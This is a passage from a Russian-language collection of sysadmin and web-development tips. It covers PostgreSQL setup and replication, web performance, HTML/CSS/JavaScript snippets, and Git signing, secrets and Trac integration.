       select * from pg_database;
    
    Из командной строки:
    
       psql -A -q -t -c "select datname from pg_database" template1
    
    В современных версиях PostgreSQL можно просто набрать:
       psql -l
    
     
    ----* Решение проблемы сборки PostgreSQL c --enable-multibyte   Автор: Yuri A. Kabaenkov  [обсудить]
     
    Если у вас уже установлен postgresql и вы решили добавить поддержку --enable-multibyte, 
    то при компиляции возможно возникнет ошибка и компиляция прекратится. Ошибка
    связана с функцией pg_encoding_to_char в libpq.
    (Компилятор лезет за библиотекой в старый libpq)
    Решение:
    1. make clean
    2. удалить старые библиотеки постгреса или удалить путь к библиотекам из ldconfig.
    
     
    ----* Как установить из исходных текстов PostgreSQL   [комментарии]
     
    ./configure --enable-locale --enable-multibyte=KOI8 --with-perl --enable-unicode-conversion
             
    gmake; gmake install
    adduser postgres
    su - postgres
    export LANG=ru_RU.KOI8-R # Убедитесь в том что установлена правильная русская локаль.
    /usr/local/pgsql/bin/initdb -E KOI8 -D /usr/local/pgsql/data
    /usr/local/pgsql/bin/postmaster -D /usr/local/pgsql/data >logfile 2>&1 &
    
     
    ----* Как оптимизировать работу UPDATE и INSERT операций в PostgreSQL   [обсудить]
     
    Можно запретить сброс буферов на диск после каждой транзакции: "-o -F"
    data/postgresql.conf:
    fsync = off
    sort_mem = 2048
    effective_cache_size=2000
    
     
    ----* Как увеличить производительность PostgreSQL   [обсудить]
     
    1. Запустите postmaster c опциями "-o '-F'" (асинхронная запись, возможна потеря данных при сбое)
    2. Почаще выполняйте команду vacuum analyze (pgsql/bin/vacuum --analyze).
    
     
    ----* Как увеличить максимально возможный размер блока в PostgreSQL   [обсудить]
     
    По умолчанию элемент таблицы не может превышать 8Кб.
    в src/include/config.h измените значение BLCKSZ 
    PS. В PostgreSQL 7.1.x ограничение на размер снято.
    
     
    ----* Как увеличить количество shared memory для работы высоконагруженного PostgreSQL   [комментарии]
     
    В linux:
    echo 134217728 >/proc/sys/kernel/shmall
    echo 134217728 >/proc/sys/kernel/shmmax
    В конфиге ядра FreeBSD:
    options         SYSVSHM
    options         SHMMAXPGS=4096
    options         SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
    options         SHMMIN=2    
    options         SHMMNI=256
    options         SHMSEG=256  
    options         SYSVSEM     
    options         SEMMAP=512  
    options         SEMMNI=512  
    options         SEMMNS=1024 
    options         SEMMNU=512  
    options         SEMMSL=256  
    options         SEMOPM=256  
    options         SEMUME=64   
    options         SYSVMSG     
    options         MSGMNB=8192 
    options         MSGMNI=256  
    options         MSGSEG=8192 
    options         MSGSSZ=16   
    options         MSGTQL=128  
    options         NMBCLUSTERS=16786
    options         NBUF=2048
    maxusers        512
    
     
    ----* Репликация PostgreSQL при помощи londiste из пакета skytools   Автор: Pavel Sorokin  [комментарии]
     
    Сначала необходимо всё правильно поставить. SkyTools есть в репозиториях
    постгреса для CentOS, но проблема заключается в том, что в этом пакете не
    включены дополнительные модули, а именно Pgq_LowLevel. Поэтому сделал следующее:
    Скачал последнюю версию skytools с сайта
    https://developer.skype.com/SkypeGarage/DbProjects/SkyTools , сконфигурировал,
    скомпилировал, и взял оттуда лишь модули для питона Pgq_LowLevel, затем
    поставил пакет(благо версии пакета в репозитории и модулей совпали) и
    скопировал модули pgq_lowlevel.so, pgq_triggers.so, logtriga.so в /usr/lib/pgsql/.
    
    Всё дальше можно переходить к репликации.
    
    Теперь все нижеследующие действия будут проходить от пользователя postgres и
    только на мастер сервере, но нужно учесть, что на слэйв сервер был доступ для
    пользователя владеющего базой данных, то есть должна выполняться команда:
    
       psql -h slave.server.r -U your_user -d your_database
    
    Сначала нам нужно установить pgqadmin. Создаём любой файл следующего содержания 
    
       [pgqadm]
       job_name = your_cluster_name
       db = dbname=your_database_name
    
       # how often to run maintenance [seconds]
       maint_delay = 600
    
       # how often to check for activity [seconds]
       loop_delay = 0.1
    
       logfile = ~/log/%(job_name)s.log
       pidfile = ~/pid/%(job_name)s.pid
    
    
    далее мы устанавливаем pgq и создаём очередь.
    
       $ pgqadm.py yaour_file install
       $ pgqadm.py -d your_file ticker
       $ pgqadm.py your_file create your_queue
       $ pgqadm.py your_file register your_queue your_consumer
    
    
    теперь когда создана очередь, мы можем начать нашу репликацию. Создаём файл
    /etc/londiste_your_cluster_name.ini вида:
    
       [londiste]
       job_name = your_cluster_name
    
       provider_db = dbname=your_database
       subscriber_db = dbname=your_database port=5432 host=slave.server.r user=files_testing password=your_password
    
       # it will be used as sql ident so no dots/spaces
       pgq_queue_name = your_queue
    
       logfile = /tmp/%(job_name)s.log
       pidfile = /tmp/%(job_name)s.pid
    
    Когда файл создан запускаем londiste
    
       londiste.py /etc/londiste_your_cluster_name.ini provider install
       londiste.py /etc/londiste_your_cluster_name.ini subscriber install
    
    Добавляем таблицы для репликации
    
       londiste.py /etc/londiste_your_cluster_name.ini provider add table1 table2 table3 
       londiste.py /etc/londiste_your_cluster_name.ini subscriber add table1 table2 table3
       londiste.py -d /etc/londiste_your_cluster_name.ini replay
    
    Все !
    
     

       Web-технологии
    CGI на Perl:
    CSS и оформление с использованием стилей
    HTML
    JavaScript

    ----* Советы Yahoo по увеличению производительности web-сайтов (доп. ссылка 1)   [комментарии]
     
    1. Производить как можно меньше HTTP запросов;
    2. Воспользоваться услугами сетей доставки контента (Content Delivery Network), например Akamai;
    3. Не пренебрегать HTTP заголовком "Expires" или "Cache-control";
    4. Отдавать страницы в сжатом виде (например, mod_gzip);
    5. Указывать ссылки на файлы с таблицами стилей (link href) в начале документа;
    6. Указывать ссылки на JavaScript файлы (script src) в конце документа;
    7. Не использовать вычислимые выражения (expression) в CSS;
    8. Хранить JavaScript и CSS вставки в виде отдельных файлов;
    9. Уменьшить число обращений к другим доменам на странице (например, когда картинки или iframe грузятся с другого сервера, в идеале не больше 3 доменов);
    10. Минимизировать размер JavaScript и CSS (например, при помощи JSMin или YUI compressor, которые убирают лишние пробелы, комментарии и сокращают переменные);
    11. Избегать редиректов (HTTP Redirect);
    12. Исключить дублирование JavaScript кода (например, IE повторно грузит повторяющиеся "script src" вставки);
    13. Настроить ETags ("FileETag None" в Apache);
    14. Кэшировать Ajax запросы;
    15. Сбрасывать буфер в на начальном этапе генерации страницы (например, через периодический вызов flush() в PHP, для того чтобы клиент получил ссылки на CSS файлы и успел начать их загрузку);
    16. Использовать для Ajax запросов HTTP метод GET (вмещается в 1 TCP пакет, в то время как POST отправляется в два этапа - заголовки и данные);
    17. Выделение контента, который можно загрузить в последнюю очередь (например, отложенная загрузка картинок и JavaScript блоков, после того как загрузится основная часть);
    18. Выделение скриптов, который нужно загрузить в первую очередь;
    19. Уменьшение числа элементов в дереве DOM (минимизация числа HTML тэгов на странице);
    20. Разделение контента по разным доменам: статика через отдельный static.domain.com (браузер будет загружать данные параллельно);
    21. Минимизировать число iframe'ов, не использовать в iframe и script src ссылки на чужие ресурсы (блокирует загрузку остальной части страницы);
    22. Недопускать появление 404 ошибки (страница не найдена);
    23. Уменьшить размер Cookie (убрать лишнее, сократить имена, привязать только к необходимым доменам, определить время жизни);
    24. Для вспомогательных страниц исключить установку Cookie (вынос картинок, CSS и скриптов на static.domain.com);
    25. В JavaScript минимизировать обращения к DOM (очень медленная операция), исключить повторяющиеся запросы к DOM через кэширование;
    26. Оптимизировать обработку событий в JavaScript (вместо "onload" использовать DOMContentLoaded, с осторожностью использовать onresize, провести аудит при помощи утилиты YUI Event);
    27. Загружать CSS через "link" вначале страницы, не использовать @import (в IE он приводит к загрузке CSS в самом конце);
    28. Избегать использования фильтров в CSS, они поддерживаются только в IE, лучше использовать PNG8;
    29. Оптимизировать изображения (минимизация размера палитры, переход на PNG, оптимизация через утилиты pngcrush, optipng или pngoptimizer, удаления комментариев в картинках, оптимизация JPEG через jpegtran);
    30. Оптимизация CSS спрайтов (css sprite) для создания фоновых изображений;
    31. Фактический размер изображения должен совпадать с указанным в параметрах width и height (для того чтобы избежать масштабирования);
    32. favicon.ico должен быть небольшим (менее 1 Кб) и кэшируемым (должен выставляться Expires, 9% всех запросов в Yahoo Search приходится на favicon.ico !);
    33. При использовании Flash нужно определить crossdomain.xml;
    34. Страницы, предназначенные для просмотра на мобильных устройствах, не должны превышать 25Кб (иначе не попадают в кэш iPhone);
    35. Для мобильных устройств можно использовать multipart блоки, когда дополнения к странице (css, картинки) упаковываются в самой странице в виде приложений;
     
    ----* Как явно указать браузеру имя файла, генерируемого CGI скриптом для скачивания.   [комментарии]
     
    print "Content-type: application/octet-stream\n";
    print "Content-Disposition: attachment; filename=table.dbf\n\n";
    
     
    ----* Как предложить браузеру сохранить файл выдаваемый CGI-скриптом под именем отличным от текущего CGI.   [обсудить]
     
    Для IE нужно выдать заголовок:
             Content-Disposition: attachment; filename=somefile.jpg
    
     
    ----* Как организовать в Интернет-магазине перевод денег с кредитных карт ?   [комментарии]
     
    Воспользуйтесь системами для проведения авторизации и процессинга платежей, 
    совершаемых при помощи кредитных карт или с лицевых счетов клиентов:
    http://www.assist.ru/ или http://www.paymentgate.ru/
    
     
    ----* HTTP коды ошибок 3xx,4xx,5xx   [обсудить]
     
    200 OK
    201 Created
    202 Accepted
    203 Provisional Information
    204 No Content
    
    300 Multiple Choices
    301 Moved Permanently
    302 Moved Temporarily
    303 Method
    304 Not Modified 
    
    400 Bad Request - неправильный запрос
    401 Authorization Required - ошибка авторизации
    402 Payment Required
    403 Forbidden - нет доступа
    404 Not Found - документ не найден
    405 Method Not Allowed
    406 None Acceptable
    407 Proxy Authentication Required
    408 Request Timeout
    409 Conflict
    410 Gone
    
    500 Internal Server Error - внутренняя ошибка скрипта
    501 Not Implemented
    502 Bad Gateway
    503 Service Unavailable
    504 Gateway Timeout
    
     
    ----* Подсказка по переменным окружения   [обсудить]
     
    Языки - HTTP_ACCEPT_LANGUAGE="ru, en"
    Текущий хост  - HTTP_HOST="www.opennet.ru"
    Браузер пользователя - HTTP_USER_AGENT="Mozilla/4.72 [en] (X11; I; Linux 2.0.36 i586; Nav)"
    Идентификатор прокси - HTTP_VIA="1.0 proxy.pirat.ru:3128 (Squid/2.2.STABLE5)"
    Реальный IP до прокси - HTTP_X_FORWARDED_FOR="213.16.124.31"
    Параметры скрипта - QUERY_STRING="a=5&f=6"
    IP  пользователя или прокси - REMOTE_ADDR="213.16.124.3"
    Запрошенный документ  - REQUEST_URI="/cgi-bin/printenv.cgi?a=5&f=6"
    Полный путь к скрипту - SCRIPT_FILENAME="/usr/local/apache/cgi-bin/printenv.cgi"
    Относительный путь к скрипту - SCRIPT_NAME="/cgi-bin/printenv.cgi"
    Реферер - HTTP_REFERER
    
     
    ----* Решение проблемы кодирования русских символов в IE   [обсудить]
     
    В IE JavaScript функция escape() кодирует в utf8, вместо %XX.
    Последовательности закодированные в виде %uXXX (utf8) рекомендуется раскодировать 
    посредством модулей Unicode::String и Unicode::Map8. 
    Другим выходом является принудительное кодирование параметров внутри
    документа средствами JavaScript. 
    
     

       CGI на Perl:

       CSS и оформление с использованием стилей

    ----* Разделитель страниц при выводе одного большого HTML на печать   [комментарии]
     
    Для того чтобы разбить в нужных местах большой HTML документ на страницы 
    и выделить их полоской при просмотре в браузере, которая не будет видна в печатном варианте, 
    можно использовать код:
    
    <table style="width: 100%; padding: 0; border: none; border-collapse: collapse;">
      <tr><td style="background-color: #B0B0B0; height: 1; padding: 0;" nowrap></td></tr>
    </table>
    <br style="page-break-after: always">
    
     
    ----* Как выделить цветом фон строки текста.   [обсудить]
     
      <span style="background-color: #d8d8ff; color: #400000;">test</span>
    или просто указав стиль в тэге: 
      <li style="background-color: #d8d8ff; color: #400000;">test</li>
    
     
    ----* Как оформить ветвление структурных деревьев с помощью CSS   Автор: Eugene Spearance  [обсудить]
     
    blockquote { margin-top: 3px; margin-bottom: 3px; margin-left: 2em;
    margin-right: 0em; background: #red }
    В этом случае блок отступит на 3 пикселя сверху и снизу, на 2 символа слева и закрасит фон красным.
    
     
    ----* Как описать стиль прямо внутри тэга ?   [обсудить]
     
    Например: <a href=" style="color: #D00000; text-decoration: none;">
    
     
    ----* Оформление тега HR с помощью CSS   Автор: Eugene Spearance  [комментарии]
     
    Цвет можно задать параметром color
    hr {color: black}
    Толщину линии height
    hr {height: 1px}
    
     

       HTML

    ----* Как вставить текст в блок со скроллерами, как textarea, но без автопереноса.   [обсудить]
     
    <div style="padding: 8px; border: 1px solid #DDDDDD; background: white; overflow: auto; 
      width: 400px; height: 200px"><pre>текст</pre></div>
    
     
    ----* Как в HTML сделать однопиксельный разделитель в таблице   [обсудить]
     
    Вместо <hr noshade size=1> можно использовать:
      <tr><td height="1" bgcolor="#8F0000">
        <spacer type="block" width="450" height="1">
      </td></tr>
    или еще одно решение:
       <td height="1" bgcolor="#8F0000" nowrap></td>
    
     
    ----* Как организовать автоматическое перечитывание страницы через 5 мин.   [обсудить]
     
    <meta HTTP-EQUIV="Refresh" CONTENT="300">
    <meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
    <meta HTTP-EQUIV="Expires" CONTENT="Tue, 04 Mar 2001 07:15:50 GMT">
    
     
    ----* Что поместить на html страничку чтобы она не кэшировалась   [обсудить]
     
       <meta http-equiv="Cache-Control" Content="no-cache">
       <meta http-equiv="Pragma" Content="no-cache">
       <meta http-equiv="Expires" Content="0">
    
     
    ----* Отступы в HTML   [обсудить]
     
    "MARGINHEIGHT" добавляет пустое поле между верхней границей фрейма и началом
    текста или графики. Измеряется в пикселах.
    "MARGINWIDTH" аналогично "MARGINHEIGHT", только применяется к левой границе. 
    
    Для добавления отступа между таблицами удобно использовать:
      <table ... style="margin-bottom: 5px;">
    или 
      <table ... style="margin-top: 5px;">
    
     
    ----* Как описать свой сайт и ключевые слова для поисковиков (доп. ссылка 1)   Автор: Dima I. Allaverdov   [комментарии]
     
    <meta name="description" content="Описание сайта">
    <meta name="keywords" http-equiv="keywords" content="ключевое слово1, ключевое слово2...">
    
     
    ----* Как автоматически перебросить пользователя на другую страницу   Автор: Dima I. Allaverdov  [комментарии]
     
    Перенаправить через 5 сек:
       <meta http-equiv="refresh" content="5; url=http://www.test.ru/">
    или через JavaScript:
    
    
       window.location = 'http://www.test.ru';
    
    или в cgi:
    
       print "Status: 302\n";
       print "Location: http://www.test.ru\n\n"; 
    
     

       JavaScript

    ----* Сравнение методов исключения разработки на JavaScript для веб технологий (доп. ссылка 1)   Автор: Still Swamp  [комментарии]
     
    Преамбула
    
    К статье о публикации фрэймворка Pusa авторы получили полезные для
    дальнейшей работы над проектом отклики. Наиболее важным нам показалась беседа с
    создателем проекта Korolev, реализующего аналогичную парадигму но
    принципиально иными методами.
    
    Так как, у нас была возможность не только познакомится с исходным кодом
    Korolev, но и пообщаться с его создателем, считаем возможным показать
    принципиальное отличие концепции Pusa, именно на примере Korolev.
    
    Задача
    
    Оба проекта реализуют разработку web-приложений без необходимости написания
    клиентского кода JavaScript  конечным разработчиком.
    
    Решение Korolev
    
    Реализация scala. При открытии страница браузер клиента скачивает базовый
    JavaScript-код приложения. Тот открывает WebSocket-соединение с сервером
    Korolev. На стороне сервера формируется DOM-структура. Клиентские события
    направляются через websocket на сервер. Получив очередное событие Korolev
    выполняет необходимую бизнес логику, вносит изменения в DOM на стороне сервера,
    далее выполняется построение дифференциального обновления которое направляется
    на клиент. Благодаря оптимизированному механизму построения дифов,
    эффективность обработки DOM на стороне Korolev высока. Клиентское приложение
    получив изменения, отражает их в DOM браузера. Пользователь получает
    необходимый контент.
    
    
    Решение Pusa
    
    Реализация PHP. При старте приложения браузер скачивает базовый JavaScript-код
    приложения Pusa (6кб). Приложение выполняет AJAX запросы на основе событий
    браузера. Каждый запрос содержит данные о событийном DOM-элементе и служебную
    информацию. Сервер Pusa получая очередное событие, определяет и выполняет
    контроллер с бизнес логикой, и возвращает набор инструкций согласно протоколу
    Pusa (https://gitlab.com/catlair/pusa/-/blob/main/site/pusa/src/language_ru/man/pusa_protocol.md),
     как результат AJAX запроса. JavaScript-клиент отрабатывает полученные
    инструкции, внося изменения в клиентский DOM. Пользователь получает необходимый контент.
    
    Общее в концепциях
    
    
  • Клиентские приложения требуют JavaScript как основу работы приложения.
  • От разработчика не требуется работа над клиентским кодом JavaScript ни в каком виде.
  • Бизнес логика и работа с DOM выполняется на стороне сервера на имеющихся средствах разработки.
  • Клиент получает необходимый контент.
  • Код приложения находится в безопасном серверном окружении и не присутствует на стороне клиента.
  • Клиентский код JavaScript минималистичен и стабилен.
  • С разработчика снимается проблема сериализации при передаче данных. Особенности Korolev
  • Сервер обладает отражением DOM-объекта для каждого клиентского соединения.
  • Korolev направляет клиенту дифференциальный, хорошо оптимизированный контент.
  • Korolev использует WebSocket, как основной высокопроизводительный метод взаимодействия.
  • В силу архитектуры сервер Korolev имеет возможность инициировать изменение клиентского контента. Особенности Pusa
  • Сервер не требует и не подразумевает хранение состояния клиента, те реализуется чистый REST.
  • Pusa направляет клиенту команды в ответе AJAX через XMLHttpRequest, что значительно снижает требования к браузеру.
  • Pusa относится к клиенту как удаленному конечному автомату без обратной связи.
  • Технология Pusa не имеет возможности инициировать событие со стороны сервера. Инициатором событий является исключительно клиент (таймер возможен). Выводы. Технологии, основывающиеся на необходимости хранения состояния клиента потенциально ограничены ростом клиентских подключений, и как следствие предполагают централизацию аппаратных ресурсов. Возможность инициации событий со стороны сервера является необходимой опцией для внутренних решений. Три перечисленных фактора определяет рынок корпоративных решений, как наиболее привлекательный для технологий, аналогичных Korolev. Качественная оптимизация Korolev явно демонстрируют стремление к минимизации накладных расходов на хранение клиентских состояний, но не устраняет их. Pusa, принципиально следуя парадигме чистого REST, нацелена на рынок открытых решений, со значительным количеством клиентских подключений. Pusa предполагает использование множества независимых инстансов, с минимальными требования, без необходимости их общего взаимодействия. Запросы одного и того же пользователя к Pusa могут обрабатываться различными инстансами в рамках одной сессии, что позволяет использовать решение под значительными нагрузками. Ссылки
  • Korolev
  • Pusa
  • сравнительная схема
  • Анонс публикации Pusa
  •  
    ----* Промежуточное хранение JavaScript данных на стороне клиента (доп. ссылка 1)   Автор: abava  [комментарии]
     
    Для хранения определенного набора данных, привязанных к определенному окну браузера, 
    без задействования ограниченных по размеру cookie, можно использовать
    JavaScript  атрибут "window.name".
    При этом данные достаточно загрузить один раз (например, инициализировать параметры сессии) 
    и они сохранятся при переходах между страницами.
    
       <script type="text/javascript">
          window.name = "строка с данными, вмещается даже 100Кб";
       </script>
    
     
    ----* Перекодирование из koi8-r и windows-1251 в unicode на JavaScript   [комментарии]
     
    var koi2utf={
    163:1105,
    179:1025,
    192:1102,
    193:1072,
    194:1073,
    195:1094,
    196:1076,
    197:1077,
    198:1092,
    199:1075,
    200:1093,
    201:1080,
    202:1081,
    203:1082,
    204:1083,
    205:1084,
    206:1085,
    207:1086,
    208:1087,
    209:1103,
    210:1088,
    211:1089,
    212:1090,
    213:1091,
    214:1078,
    215:1074,
    216:1100,
    217:1099,
    218:1079,
    219:1096,
    220:1101,
    221:1097,
    222:1095,
    223:1098 
    };
    
      function koi2unicode (str){
         if (str == null){ return null;}
         var result = "";
         var o_code = "";
         var i_code = "";
         for (var I=0; I < str.length; I++){
            i_code = str.charCodeAt(I);
                                       
            if (koi2utf[i_code] != null){
                o_code = koi2utf[i_code];
            } else if (i_code > 223 && koi2utf[i_code-32] != null){
                o_code = koi2utf[i_code-32]-32;
            } else {
                o_code = i_code;
            }
            result = result + String.fromCharCode(o_code);
         }
    
         return result;
      }
    
    function win2unicode (str){
         if (str == null){ return null;}
         var result = "";
         var o_code = "";
         var i_code = "";
         for (var I=0; I < str.length; I++){
            i_code = str.charCodeAt(I);
    
            if (i_code == 184){
                o_code = 1105;
            } else if (i_code == 168){
                o_code = 1025;
            } else if (i_code > 191 && i_code < 256){
                o_code = i_code + 848;
            } else {
                o_code = i_code;
            }
            result = result + String.fromCharCode(o_code);
         }                                                
          
         return result;
    }
    
     
    ----* Использование хэшей и массивов в JavaScript (доп. ссылка 1)   Автор: Дмитрий Котеров  [комментарии]
     
    Хэши:
       var hash = {
         color:    "red",
         artefact: "pill",
         actors: {
           supplier: "Morpheus",
           consumer: "Neo"
         }
       }
    
       var hash = new Object();
       hash.color = "blue";
       hash.element = "pill";
    
       var element1 = hash.element;
       var element2 = hash['element'];
    
    Массивы - это обыкновенные хэши с числовыми ключами, а также ключом length, содержащим их длину.
    
       var arr = [100, 200, 300];
       for (var k in arr) alert(k + "=>" + arr[k]);
    
     
    ----* Функция для выборки заданного cookie на JavaScript   [обсудить]
     
    function GetCookie (name) {
         var arg = name + "=";
         var alen = arg.length;
         var clen = document.cookie.length;
         var endstr = 0;
         var i = 0;
         while (i < clen) {
            var j = i + alen;
            if (document.cookie.substring(i, j) == arg){
                 endstr = document.cookie.indexOf (";", j);
                 if (endstr == -1){
                      endstr = document.cookie.length;
                 }
                 return unescape(document.cookie.substring(j, endstr));
            }
            i = document.cookie.indexOf(" ", i) + 1;
            if (i == 0) { break; }
          }
          return null;
    }
    var cook_uname = GetCookie('uname');
    
     
    ----* Как инвертировать значения множественных checkbox полей через JavaScript   [комментарии]
     
    <form ... name=s>
    <input type="checkbox" name="i" ....>
    <a href="#" onClick="Javascript:invert_checkbox('s','i');return false;">
    function invert_checkbox (form_name, checkbox_name){
        element = document.forms[form_name].elements;
        for (i=0; i < element.length; i++) {
            if (element[i].name == checkbox_name){
                if(element[i].checked == true) {
                    element[i].checked = false;
                } else {
                    element[i].checked = true;
                }
            }
        }
    }
    
     
    ----* Как выставить Cookie через JavaScript   [обсудить]
     
    <script language="JavaScript">
     function set_cookie(){
       var expiry = new Date();
       expiry.setTime(expiry.getTime() + 24*60*60*1000);
       document.cookie='test1=123; path=/; expires=' + expiry.toGMTString();
       document.cookie='test2=456; path=/; expires=' + expiry.toGMTString();
     }
    </script>
    <body onLoad="set_cookie();">
    
     
    ----* Как вызвать JavaScript блок из A HREF, вместо ссылки (без перехода и прокрутки в окне) ?   [комментарии]
     
    <A HREF="" OnClick="Javascript:test_func();return false;">
    "return false" - приводит к неизменности текущей страницы.
    
     
    ----* Как в JavaScript осуществить сложение числа и строки   [комментарии]
     
    <input type="button" value="+" onClick='price_item_3.value=parseInt(price_item_3.value)+1;'>
    <input type="button" value="-" onClick='if (  price_item_3.value != 0){price_item_3.value=parseInt(price_item_3.value)-1};'>
    
     
    ----* Как вернуться на предыдущую страницу   [комментарии]
     
    <input type="button" name="repeat" value=" BACK " OnClick="history.go(-1);">
    
     

       Системы контроля версий и управления исходными текстами

    ----* Прикрепление к коммиту в Git нескольких цифровых подписей   [обсудить]
     
    В некоторых ситуациях может потребоваться добавить к уже существующему коммиту
    дополнительные цифровые подписи. Например, отдельные подписи могут прикреплять
    участники, занимавшиеся рецензированием кода, или ответственные за выпуск
    релизов, подтверждая проверку в своей зоне ответственности.
    
    Для добавления  подписей можно использовать интерфейс git-notes, позволяющий
    прикреплять произвольные данные к существующим коммитам.
    
    Добавление подписи:
    
       git rev-parse HEAD | gpg --sign | base64 -w0 | \
         git notes --ref refs/signatures append --file=-
       git push origin refs/signatures
    
    Верификация подписи:
    
       git fetch origin refs/signatures
       git notes merge -s cat_sort_uniq origin/refs/signatures
       git notes --ref refs/signatures show | \
         xargs -L1 -I {} sh -c "echo {} | base64 -d | gpg -d"
    
    
    Для упрощения вышеописанных действий в рамках проекта git-signatures
    подготовлено дополнение к git, позволяющее привязывать к коммиту или тегу сразу
    несколько цифровых подписей. Код дополнения написан на bash и требует для своей
    работы только Git и GnuPG.
    
    
    Получение и объединение подписей из внешнего репозитория:
    
       git signatures pull
    
    Добавление новой подписи для тега:
    
       git signatures add v1.0.0
    
    Передача добавленных локально подписей во внешний репозиторий:
    
       git signatures push
    
    Выполнение всех вышеописанных действий одним шагом (pull/merge/sign/push):
    
       git signatures add --push v1.0.0
    
    Оценка цифровых подписей для тега (вывод всех идентификаторов открытых ключей):
    
       git signatures verify v1.0.0
    
    Проверка мультиподписи (m-of-n) (проверка всех подписей в одном GPG trustdb,
    если 0 - то проверка прошла успешно):
    
       git signatures verify --min-count 2 v1.0.0
    
    Проверка мультиподписей в разных  GPG trustdb;
    
       git signatures verify --trustdb dev-team.db --min-count 2 v1.0.0
       git signatures verify --trustdb release-team.db --min-count 1 v1.0.0
    
     
    ----* Хранение конфиденциальных данных в Git-репозитории (доп. ссылка 1)   [комментарии]
     
    В рамках проекта git-secret развивается простой плагин для Git, позволяющий
    хранить отдельные файлы в репозитории в зашифрованном виде. Например,
    шифрование может применяться к файлам с паролями, сертификатами и любыми
    другими конфиденциальными данными, которые не следует разглашать. В отличие от
    хранения подобных файлов отдельно от Git-репозитория, git-secret позволяет
    унифицировать обращение с приватной информацией и минимизировать угрозу её
    случайного добавления в репозиторий в открытом виде (например, периодически
    всплывают инциденты с размещением в публичных репозиториях файлов с паролями).
    
    
    Git-secret написан на bash и использует GPG для шифрования. Работа организуется
    через применение команды "git secret reveal", которая  расшифровывает все
    необходимые файлы с использованием персонального закрытого ключа. При коммитах
    помеченные конфиденциальными файлы будут приниматься только в зашифрованном виде.
    
    Начало работы с git-secret (для шифрования в gpg должны быть созданы ключи RSA):
    
    Инициализируем репозиторий git-secret (будет создан каталог .gitsecret/):
    
       git secret init 
    
    Добавляем пользователя (name@pgp_email - связанный с RSA-ключами email):
    
       git secret tell name@pgp_email
    
    Помечаем секретные файлы  (после данной операции git_secret не позволит
    поместить их в репозиторий без шифрования):
    
       git secret add имена_файлов
    
    Шифруем ранее помеченные файлы:
    
       git secret hide
    
    Шифрование производится при помощи открытого ключа, ранее переданного командой
    "git secret tell". Произвольное число разработчиков могут зашифровать файлы, но
    только владелец закрытого ключа может их расшифровать.
    
    Теперь можно выполнять коммит. Чтобы не запускать команду "git secret hide"
    перед каждым коммитом, её рекомендуется прописать для автоматического вызова на
    стадии pre-commit.
    
    Для расшифровки файлов необходимо выполнить команду:
    
       git secret reveal
    
     
    ----* Связка Git и Trac на Fedora 18 с использованием mod_wsgi   Автор: Denis Salmanovich  [комментарии]
     
    В статье речь пойдет о том, как связать вместе распределённую систему
    управления версиями файлов Git и средство управления проектами и
    отслеживания ошибок в программном обеспечении Trac на Fedora 18 используя mod_wsgi.
    
    
    В более старых версиях Fedora эта связка работала на mod_python. Официально,
    этот проект умер. Вот и пришлось искать альтернативы.
    
    Все следующие действия будут происходить под учетной записью root.
    
    Hostname нашей станции: trac-server.loc
    
    Установим все необходимые пакеты:
    
       yum install httpd git trac trac-git-plugin mod_wsgi firewalld \\
                php php-pear php-mysql php-mbstring python
    
    
    Если у нас не установлен DNS сервер, редактируем файл /etc/hosts. Добавим в него имя нашего хоста.
    
       127.0.0.1   localhost localhost.localdomain localhost4  localhost4.localdomain4 trac-server.loc
       ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
    
    
    Настроим виртуальный хост апача (/etc/httpd/conf.d/vhosts.conf):
    
       ServerName trac-server.loc
       <VirtualHost *:80>
           DocumentRoot /var/www/html
           ServerPath /html
           ServerName trac-server.loc
           ServerAlias trac-server.loc
           ServerAlias www.trac-server.loc
       </VirtualHost>
    
      
    Включаем поддержку коротких тегов:
    
       sed -i 's/^short_open_tag = Off/short_open_tag = On/g' /etc/php.ini
    
    
    Если нужен доступ к ресурсам трэк сервера из-вне, открываем порт в файерволе:
    
       firewall-cmd --permanent --add-service=http
       firewall-cmd --reload
    
    
    Включаем и запускаем apache:
    
       systemctl enable httpd
       systemctl start httpd
    
    
    Создаем директории для нашего трэк сервера и гит репозиторий:
    
       install -d /srv/{trac,git}
    
    
    Создадим WSGI скрипт (/srv/trac/trac.wsgi):
    
       #!/usr/bin/env python
       import os
       def application(environ, start_request):
           os.environ['TRAC_ENV_PARENT_DIR'] = '/srv/trac'
           os.environ['PYTHON_EGG_CACHE'] = '/tmp/egg-cache'
           from trac.web.main import dispatch_request
           return dispatch_request(environ, start_request)
    
    
    Создадим файл конфигурации (/etc/httpd/conf.d/trac.conf):
    
       WSGIScriptAlias /trac /srv/trac/trac.wsgi
       <Directory /srv/trac>
           WSGIApplicationGroup %{GLOBAL}
           Require all granted
       </Directory>
       <LocationMatch "/trac/[^/]+/login">
           AuthType Digest
           AuthName "Trac"
           AuthUserFile /srv/trac/.htpasswd
           Require valid-user
       </LocationMatch>
       
    
    Создадим файл конфигурации (/etc/httpd/conf.d/git.conf):
    
       SetEnv GIT_PROJECT_ROOT /srv/git
       SetEnv GIT_HTTP_EXPORT_ALL
    
       AliasMatch ^/git/(.*/objects/[0-9a-f]{2}/[0-9a-f]{38})$          /srv/git/$1
       AliasMatch ^/git/(.*/objects/pack/pack-[0-9a-f]{40}.(pack|idx))$ /srv/git/$1
       ScriptAlias /git/ /usr/libexec/git-core/git-http-backend/
    
       Alias /git /srv/git
       <Directory /srv/git>
           Options Indexes FollowSymLinks Multiviews
           AllowOverride All
           Require all granted
       </Directory>
       <LocationMatch "^/git">
           DAV on
           AuthType Digest
           AuthName "Git"
           AuthUserFile /srv/git/.htpasswd
           Require valid-user
       </LocationMatch>
    
    
    Создадим файл, который будет содержать пользователей и пароли для доступа к trac серверу.
    
    У меня таких файлов два, отдельно для доступа к trac и отдельно для доступа к git репозиториям.
    
       htdigest -c /srv/trac/.htpasswd 'Trac' admin
       htdigest -c /srv/git/.htpasswd 'Git' admin
    
    Этими командами мы создали пользователя "admin". Для дальнейшего добавления
    пользователей или для смены паролей, используется та же команда, только без "-c".
    
    На этом этапе системная конфигурация закончена.
    
    Добавим новый проект под кодовым названием pr1:
    
       trac-admin /srv/trac/pr1 initenv
       install -d /srv/git/pr1/.git
       git --bare init /srv/git/pr1/.git
    
    
    Подкорректируем настройки нашего проекта в файле (/srv/trac/pr1/conf/trac.ini):
    
    Включим поддержку git путем добавления в конец файла двух строчек:
    
       [components]
       tracext.git.* = enabled
    
    И корректированием:
    
